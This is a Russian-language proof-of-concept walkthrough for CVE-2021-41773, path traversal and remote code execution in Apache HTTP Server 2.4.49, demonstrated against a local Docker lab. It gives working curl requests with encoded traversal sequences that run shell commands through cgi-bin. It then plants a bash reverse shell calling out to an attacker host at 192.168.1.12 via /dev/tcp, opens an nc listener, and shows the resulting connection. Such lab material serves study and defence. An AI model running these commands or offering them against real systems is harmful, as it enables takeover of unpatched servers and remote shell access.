
Эксплойт PoC для CVE-2021-41773, демонстрирующий обход путей и удаленное выполнение кода на Apache HTTP Server 2.4.49 с полезной нагрузкой обратной оболочки.
Ошибка была обнаружена в изменении, внесенном в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник может использовать атаку обхода пути для сопоставления URL с файлами вне каталогов, настроенных директивами типа Alias.
Если файлы за пределами этих каталогов не защищены обычной конфигурацией по умолчанию "require all denied", такие запросы могут быть успешными. Если для этих псевдонимов также включены CGI-скрипты, это может позволить удаленное выполнение кода.
Известно, что эта проблема эксплуатируется в реальных условиях.
Эта проблема затрагивает только Apache 2.4.49 и не затрагивает более ранние версии.
Атака обхода пути (также известная как directory traversal) направлена на доступ к файлам и каталогам, находящимся за пределами корневой веб-папки. Манипулируя переменными, которые ссылаются на файлы с последовательностями "dot-dot-slash (../)" и их вариациями, или используя абсолютные пути к файлам, возможно получить доступ к произвольным файлам и каталогам в файловой системе, включая исходный код приложения, конфигурационные и критические системные файлы. Следует отметить, что доступ к файлам ограничен системным контролем доступа (например, в случае заблокированных или используемых файлов в операционной системе Microsoft Windows).
Эта атака также известна как "dot-dot-slash", "directory traversal", "directory climbing" и "backtracking".
$ docker-compose build
$ docker-compose up
Проверка работы
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Жертва : localhost:1234
Атакующий : 192.168.1.12
Согласно документации, это недостаток, позволяющий выполнять код удаленно (RCE).
Мы можем использовать его, выполнив curl с папкой cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Проверим, действительно ли у нас есть доступ к команде, например id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Обратная оболочка (reverse shell)
Мы протестируем обратную оболочку, создав bash-файл на сервере жертвы.
В качестве примера возьмем обратную оболочку на bash из репозитория PayloadsAllTheThings.
Вот пример:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Создадим файл vuln.sh на машине жертвы в папке /tmp/ !
Этот файл будет содержать нашу обратную оболочку, которую можно запустить удаленно. Он подключится к нашей локальной машине на порту 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Проверить содержимое файла можно командой cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Прослушиватель через ncat
Создадим прослушиватель на локальной машине.
$ nc -lvnp 44
Осталось только выполнить удаленный файл.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Ответ:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.